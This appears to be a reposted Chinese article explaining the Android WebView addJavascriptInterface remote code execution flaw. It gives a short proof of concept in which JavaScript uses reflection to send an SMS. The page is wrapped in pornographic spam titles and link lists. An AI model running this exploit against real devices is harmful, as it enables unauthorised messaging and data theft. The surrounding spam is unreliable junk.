麻豆小视频在线观看_中文黄色一级片_久久久成人精品_成片免费观看视频大全_午夜精品久久久久久久99热浪潮_成人一区二区三区四区

首頁 > OS > 安卓 > 正文

關于Android中WebView遠程代碼執行漏洞淺析

2024-09-11 17:15:13
字體:
來源:轉載
供稿:網友

1. WebView 遠程代碼執行漏洞描述

      Android API level 16以及之前的版本存在遠程代碼執行安全漏洞,該漏洞源于程序沒有正確限制使用WebView.addJavascriptInterface方法,遠程攻擊者可通過使用Java Reflection API利用該漏洞執行任意Java對象的方法,簡單的說就是通過addJavascriptInterface給WebView加入一個JavaScript橋接接口,JavaScript通過調用這個接口可以直接操作本地的JAVA接口。該漏洞最早公布于CVE-2012-6636【1】,其描述了WebView中addJavascriptInterface API導致的遠程代碼執行安全漏洞。

      該漏洞公布的近期,多款Android流行應用曾被曝出高危掛馬漏洞:點擊消息或朋友社區圈中的一條網址時,用戶手機然后就會自動執行被掛馬的代碼指令,從而導致被安裝惡意扣費軟件、向好友發送欺詐短信、通訊錄和短信被竊取以及被遠程控制等嚴重后果。在烏云漏洞平臺上,包括Android版的微信、QQ、騰訊微博、QQ瀏覽器、快播、百度瀏覽器、金山瀏覽器等大批TOP應用均被曝光同類型的漏洞。

      論文Attacks on WebView in the Android System【2】中指出可以利用所導出的讀寫文件接口來進行文件的讀寫操作,攻擊者可以通過中間人攻擊篡改Webview所顯示的頁面來達到對手機文件系統的控制。

2. WebView 遠程代碼執行影響范圍

      Android API level 小于17 (即Android 4.2之前的系統版本)

3.WebView 遠程代碼執行漏洞詳情

1) WebView 遠程代碼執行漏洞位置:

      WebView.addJavascriptInterface(Object obj, String interfaceName)

2)WebView 遠程代碼執行漏洞觸發前提條件:

      使用addJavascriptInterface方法注冊可供JavaScript調用的Java對象;

      使用WebView加載外部網頁或者本地網頁;

      Android系統版本低于4.2;

3) WebView 遠程代碼執行漏洞原理:

      Android系統通過WebView.addJavascriptInterface方法注冊可供JavaScript調用的Java對象,以用于增強JavaScript的功能。但是系統并沒有對注冊Java類的方法調用的限制。導致攻擊者可以利用反射機制調用未注冊的其它任何Java類,最終導致JavaScript能力的無限增強。攻擊者利用該漏洞可以根據客戶端能力為所欲為。

4. WebView 遠程代碼執行漏洞POC

      1) 利用addJavascriptInterface方法注冊可供JavaScript調用的java對象 “injectedObj”,利用反射機制調用Android API sendTextMessage來發送短信。

      java代碼:

mWebView = new WebView(this);mWebView.getSettings().setJavaScriptEnabled(true);mWebView.addJavascriptInterface(this, "injectedObj");mWebView.loadUrl(file:///android_asset/www/index.html);

      EXP的JavaScript代碼:

<html> <body> <script>  var objSmsManager = injectedObj.getClass().forName("android.telephony.SmsManager").getM ethod("getDefault",null).invoke(null,null);  objSmsManager.sendTextMessage("10086",null,"this message is sent by JS when webview is loading",null,null); </script> </body></html>
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 夜间福利网站 | 久久久久免费精品国产小说色大师 | 欧美久久久久久久久 | h网站在线观看 | 国产精品亚洲综合一区二区三区 | 99re热视频这里只精品 | 国产日韩一区二区三区在线观看 | 成人毛片100部免费观看 | 欧美激情天堂 | 天天草天天爱 | 成年人免费黄色片 | 亚州精品在线视频 | 国产乱淫av | 欧美久久久一区二区三区 | 91 在线免费观看 | 末成年女av片一区二区 | 在线成人亚洲 | 欧美一页 | 亚洲成人免费影视 | www.精品一区 | 欧美乱淫 | wwwxxx免费视频| 日韩视频一区二区三区四区 | 国产91亚洲精品一区二区三区 | 欧美国产91| wwwxxx国产| 国产免费片| 在线观看va | 看毛片电影 | 久久久久久亚洲综合影院红桃 | 热99re久久免费视精品频软件 | 欧美特一级 | 欧美综合在线观看视频 | 九九热在线视频免费观看 | 九九热精| 一级电影免费 | 久色精品视频 | 国产人成精品一区二区三 | 久久久精品视频国产 | 曰韩黄色片| 亚洲午夜在线观看 |